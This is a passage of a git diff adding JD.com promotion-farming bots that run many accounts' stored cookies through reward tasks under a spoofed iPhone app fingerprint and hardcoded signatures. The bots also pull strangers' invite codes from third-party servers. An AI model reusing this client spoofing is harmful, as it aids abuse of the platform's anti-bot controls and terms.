{ + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${item.assistTaskDetailVo.taskToken}\n`) + myInviteCode = item.assistTaskDetailVo.taskToken; + jdFactoryShareArr.push(myInviteCode) + } + }) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//选择一件商品,只能在 $.newUser !== 1 && $.haveProduct === 2 并且 sellOut === 0的时候可用 +function jdfactory_makeProduct(skuId) { + return new Promise(resolve => { + $.post(taskPostUrl('jdfactory_makeProduct', { skuId }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + console.log(`选购商品成功:${JSON.stringify(data)}`); + } else { + console.log(`异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function queryVkComponent() { + return new Promise(resolve => { + const options = { + "url": `https://api.m.jd.com/client.action?functionId=queryVkComponent`, + "body": `adid=0E38E9F1-4B4C-40A4-A479-DD15E58A5623&area=19_1601_50258_51885&body={"componentId":"4f953e59a3af4b63b4d7c24f172db3c3","taskParam":"{\\"actId\\":\\"8tHNdJLcqwqhkLNA8hqwNRaNu5f\\"}","cpUid":"8tHNdJLcqwqhkLNA8hqwNRaNu5f","taskSDKVersion":"1.0.3","businessId":"babel"}&build=167436&client=apple&clientVersion=9.2.5&d_brand=apple&d_model=iPhone11,8&eid=eidIf12a8121eas2urxgGc+zS5+UYGu1Nbed7bq8YY+gPd0Q0t+iviZdQsxnK/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC+PFHdNYx1A/3Zt8xYR+d3&isBackground=N&joycious=228&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=TF&rfs=0000&scope=11&screen=828*1792&sign=792d92f78cc893f43c32a4f0b2203a41&st=1606533009673&sv=122&uts=0f31TVRjBSsqndu4/jgUPz6uymy50MQJFKw5SxNDrZGH4Sllq/CDN8uyMr2EAv+1xp60Q9gVAW42IfViu/SFHwjfGAvRI6iMot04FU965+8UfAPZTG6MDwxmIWN7YaTL1ACcfUTG3gtkru+D4w9yowDUIzSuB+u+eoLwM7uynPMJMmGspVGyFIgDXC/tmNibL2k6wYgS249Pa2w5xFnYHQ==&uuid=hjudwgohxzVu96krv/T6Hg==&wifiBssid=1b5809fb84adffec2a397007cc235c03`, + "headers": { + "Cookie": cookie, + "Accept": `*/*`, + "Connection": `keep-alive`, + "Content-Type": `application/x-www-form-urlencoded`, + "Accept-Encoding": `gzip, deflate, br`, + "Host": `api.m.jd.com`, + "User-Agent": "jdapp;iPhone;9.3.4;14.3;88732f840b77821b345bf07fd71f609e6ff12f43;network/4g;ADID/1C141FDD-C62F-425B-8033-9AAB7E4AE6A3;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone11,8;addressid/2005183373;supportBestPay/0;appBuild/167502;jdSupportDarkMode/0;pv/414.19;apprpd/Babel_Native;ref/TTTChannelViewContoller;psq/5;ads/;psn/88732f840b77821b345bf07fd71f609e6ff12f43|1701;jdv/0|iosapp|t_335139774|appshare|CopyURL|1610885480412|1610885486;adk/;app_device/IOS;pap/JA2015_311210|9.3.4|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "Accept-Language": `zh-Hans-CN;q=1, en-CN;q=0.9`, + }, + "timeout": 10000, + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log('queryVkComponent', data) + if (safeGet(data)) { + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//查询当前商品列表 +function jdfactory_getProductList(flag = false) { + return new Promise(resolve => { + $.post(taskPostUrl('jdfactory_getProductList'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + $.canMakeList = []; + $.canMakeList = data.data.result.canMakeList;//当前可选商品列表 sellOut:1为已抢光,0为目前可选择 + if ($.canMakeList && $.canMakeList.length > 0) { + $.canMakeList.sort(sortCouponCount); + console.log(`商品名称 可选状态 剩余量`) + for (let item of $.canMakeList) { + console.log(`${item.name.slice(-4)} ${item.sellOut === 1 ? '已抢光' : '可 选'} ${item.couponCount}`); + } + if (!flag) { + for (let item of $.canMakeList) { + if (item.name.indexOf(wantProduct) > -1 && item.couponCount > 0 && item.sellOut === 0) { + await jdfactory_makeProduct(item.skuId); + break + } + } + } + } + } else { + console.log(`异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function sortCouponCount(a, b) { + return b['couponCount'] - a['couponCount'] +} +function jdfactory_getHomeData() { + return new Promise(resolve => { + $.post(taskPostUrl('jdfactory_getHomeData'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + // console.log(data); + data = JSON.parse(data); + if (data.data.bizCode === 0) { + $.haveProduct = data.data.result.haveProduct; + $.userName = data.data.result.userName; + $.newUser = data.data.result.newUser; + if (data.data.result.factoryInfo) { + $.totalScore = data.data.result.factoryInfo.totalScore;//选中的商品,一共需要的电量 + $.userScore = data.data.result.factoryInfo.userScore;//已使用电量 + $.produceScore = data.data.result.factoryInfo.produceScore;//此商品已投入电量 + $.remainScore = data.data.result.factoryInfo.remainScore;//当前蓄电池电量 + $.couponCount = data.data.result.factoryInfo.couponCount;//已选中商品当前剩余量 + $.hasProduceName = data.data.result.factoryInfo.name;//已选中商品当前剩余量 + } + if ($.newUser === 1) { + //新用户 + console.log(`此京东账号${$.index}${$.nickName}为新用户暂未开启${$.name}活动\n现在为您从库存里面现有数量中选择一商品`); + if ($.haveProduct === 2) { + await jdfactory_getProductList();//选购商品 + } + // $.msg($.name, '暂未开启活动', `京东账号${$.index}${$.nickName}暂未开启${$.name}活动\n请去京东APP->搜索'玩一玩'->东东工厂->开启\n或点击弹窗即可到达${$.name}活动`, {'open-url': 'openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://h5.m.jd.com/babelDiy/Zeus/2uSsV2wHEkySvompfjB43nuKkcHp/index.html%22%20%7D'}); + } + if ($.newUser !== 1 && $.haveProduct === 2) { + console.log(`此京东账号${$.index}${$.nickName}暂未选购商品\n现在也能为您做任务和收集免费电力`); + // $.msg($.name, '暂未选购商品', `京东账号${$.index}${$.nickName}暂未选购商品\n请去京东APP->搜索'玩一玩'->东东工厂->选购一件商品\n或点击弹窗即可到达${$.name}活动`, {'open-url': 'openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://h5.m.jd.com/babelDiy/Zeus/2uSsV2wHEkySvompfjB43nuKkcHp/index.html%22%20%7D'}); + // await jdfactory_getProductList();//选购商品 + } + } else { + console.log(`异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function readShareCode() { + console.log(`开始`) + return new Promise(async resolve => { + $.get({url: `https://api.jdsharecode.xyz/api/ddfactory/${randomCount}`, timeout: 10000}, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(10000); + resolve() + }) +} + +function taskPostUrl(function_id, body = {}, function_id2) { + let url = `${JD_API_HOST}`; + if (function_id2) { + url += `?functionId=${function_id2}`; + } + return { + url, + body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.1.0`, + headers: { + "Accept": "application/json, text/plain, */*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Cookie": cookie, + "Host": "api.m.jd.com", + "Origin": "https://h5.m.jd.com", + "Referer": "https://h5.m.jd.com/babelDiy/Zeus/2uSsV2wHEkySvompfjB43nuKkcHp/index.html", + "User-Agent": "jdapp;iPhone;9.3.4;14.3;88732f840b77821b345bf07fd71f609e6ff12f43;network/4g;ADID/1C141FDD-C62F-425B-8033-9AAB7E4AE6A3;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone11,8;addressid/2005183373;supportBestPay/0;appBuild/167502;jdSupportDarkMode/0;pv/414.19;apprpd/Babel_Native;ref/TTTChannelViewContoller;psq/5;ads/;psn/88732f840b77821b345bf07fd71f609e6ff12f43|1701;jdv/0|iosapp|t_335139774|appshare|CopyURL|1610885480412|1610885486;adk/;app_device/IOS;pap/JA2015_311210|9.3.4|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + }, + timeout: 10000, + } +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + }, + "timeout": 10000, + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t, e) { class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_jdzz.js b/jd_jdzz.js new file mode 100644 index 0000000..ddfdc01 --- /dev/null +++ b/jd_jdzz.js @@ -0,0 +1,411 @@ +/* +京东赚赚 +可以做随机互助 +活动入口:京东赚赚小程序 +长期活动,每日收益2毛左右,多号互助会较多 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +# 京东赚赚 +10 0 * * * jd_jdzz.js, tag=京东赚赚, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdzz.png, enabled=true + +================Loon============== +[Script] +cron "10 0 * * *" script-path=jd_jdzz.js,tag=京东赚赚 + +===============Surge================= +京东赚赚 = type=cron,cronexp="10 0 * * *",wake-system=1,timeout=3600,script-path=jd_jdzz.js + +============小火箭========= +京东赚赚 = type=cron,script-path=jd_jdzz.js, cronexpr="10 0 * * *", timeout=3600, enable=true + */ +const $ = new Env('京东赚赚'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let helpAuthor = true; // 帮助作者 +const randomCount = $.isNode() ? 20 : 5; +let jdNotify = true; // 是否关闭通知,false打开通知推送,true关闭通知推送 +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message = '', allMessage = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +const inviteCodes = [ + `` +] +let nowTimes = new Date(new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000); +!(async () => { + await requireConfig(); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await shareCodesFormat() + await jdWish() + } + } + if (allMessage) { + //NODE端,默认每月一日运行进行推送通知一次 + if ($.isNode() && nowTimes.getDate() === 1 && (process.env.JDZZ_NOTIFY_CONTROL ? process.env.JDZZ_NOTIFY_CONTROL === 'false' : !!1)) { + await notify.sendNotify($.name, allMessage); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdWish() { + $.bean = 0 + $.tuan = null + $.hasOpen = false; + $.assistStatus = 0; + await getTaskList(true) + + // await helpFriends() + await getUserInfo() + $.nowBean = parseInt($.totalBeanNum) + $.nowNum = parseInt($.totalNum) + for (let i = 0; i < $.taskList.length; ++i) { + let task = $.taskList[i] + if (task['taskId'] !== 3 && task['status'] !== 2) { + console.log(`去做任务:${task.taskName}`) + if (task['itemId']) + await doTask({ "itemId": task['itemId'], "taskId": task['taskId'], "taskToken": task["taskToken"], "mpVersion": "3.4.0" }) + else + await doTask({ "taskId": task['taskId'], "taskToken": task["taskToken"], "mpVersion": "3.4.0" }) + await $.wait(3000) + } + } + await getTaskList(); + await showMsg(); +} + +function showMsg() { + return new Promise(async resolve => { + message += `本次获得${parseInt($.totalBeanNum) - $.nowBean}京豆,${parseInt($.totalNum) - $.nowNum}金币\n` + message += `累计获得${$.totalBeanNum}京豆,${$.totalNum}金币\n可兑换${$.totalNum / 10000}元无门槛红包\n兑换入口:京东赚赚微信小程序->赚好礼->金币提现` + if (parseInt($.totalBeanNum) - $.nowBean > 0) { + //IOS运行获得京豆大于0通知 + $.msg($.name, '', `京东账号${$.index} ${$.nickName}\n${message}`); + } else { + $.log(message) + } + // 云端大于10元无门槛红包时进行通知推送 + // if ($.isNode() && $.totalNum >= 1000000) await notify.sendNotify(`${$.name} - 京东账号${$.index} - ${$.nickName}`, `京东账号${$.index} ${$.nickName}\n当前金币:${$.totalNum}个\n可兑换无门槛红包:${parseInt($.totalNum) / 10000}元\n`,) + allMessage += `京东账号${$.index} ${$.nickName}\n当前金币:${$.totalNum}个\n可兑换无门槛红包:${parseInt($.totalNum) / 10000}元\n兑换入口:京东赚赚微信小程序->赚好礼->金币提现${$.index !== cookiesArr.length ? '\n\n' : ''}`; + resolve(); + }) +} + +function getUserInfo() { + return new Promise(resolve => { + $.get(taskUrl("interactIndex"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + // if (data.data.shareTaskRes) { + // console.log(`\n【京东账号${$.index}(${$.nickName || $.UserName})的${$.name}好友互助码】${data.data.shareTaskRes.itemId}\n`); + // } else { + // console.log(`\n\n已满5人助力或助力功能已下线,故暂时无${$.name}好友助力码\n\n`) + // } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getTaskList(flag = false) { + return new Promise(resolve => { + $.get(taskUrl("interactTaskIndex"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.totalNum = data.data.totalNum + $.taskList = data?.data?.taskDetailResList ?? [] + if (data.data.signTaskRes) { + $.taskList.push(data.data.signTaskRes) + } + $.totalBeanNum = data.data.totalBeanNum + if (flag && $.taskList.filter(item => !!item && item['taskId'] === 3) && $.taskList.filter(item => !!item && item['taskId'] === 3).length) { + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${$.taskList.filter(item => !!item && item['taskId'] === 3)[0]['itemId']}\n`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +// 完成 +function doTask(body, func = "doInteractTask") { + // console.log(taskUrl("doInteractTask", body)) + return new Promise(resolve => { + $.get(taskUrl(func, body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + // console.log(data) + if (func === "doInteractTask") { + if (data.subCode === "S000") { + console.log(`任务完成,获得 ${data.data.taskDetailResList[0].incomeAmountConf} 金币,${data.data.taskDetailResList[0].beanNum} 京豆`) + $.bean += parseInt(data.data.taskDetailResList[0].beanNum) + } else { + console.log(`任务失败,错误信息:${data.message}`) + } + } else { + console.log(`${data.data.helpResDesc}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function helpFriends() { + for (let code of $.newShareCodes) { + if (!code) continue + await doTask({"itemId": code, "taskId": "3", "mpVersion": "3.4.0"}, "doHelpTask") + } +} +function readShareCode() { + console.log(`开始`) + return new Promise(async resolve => { + $.get({url: `https://code.chiang.fun/api/v1/jd/jdzz/read/${randomCount}/`, 'timeout': 10000}, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(10000); + resolve() + }) +} +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + $.newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); + $.newShareCodes = inviteCodes[tempIndex].split('@'); + } + const readShareCodeRes = await readShareCode(); + if (readShareCodeRes && readShareCodeRes.code === 200) { + $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; + } + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} + +function requireConfig() { + return new Promise(resolve => { + console.log(`开始获取${$.name}配置文件\n`); + //Node.js用户请在jdCookie.js处填写京东ck; + let shareCodes = []; + if ($.isNode()) { + if (process.env.JDZZ_SHARECODES) { + if (process.env.JDZZ_SHARECODES.indexOf('\n') > -1) { + shareCodes = process.env.JDZZ_SHARECODES.split('\n'); + } else { + shareCodes = process.env.JDZZ_SHARECODES.split('&'); + } + } + } + console.log(`共${cookiesArr.length}个京东账号\n`); + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } + 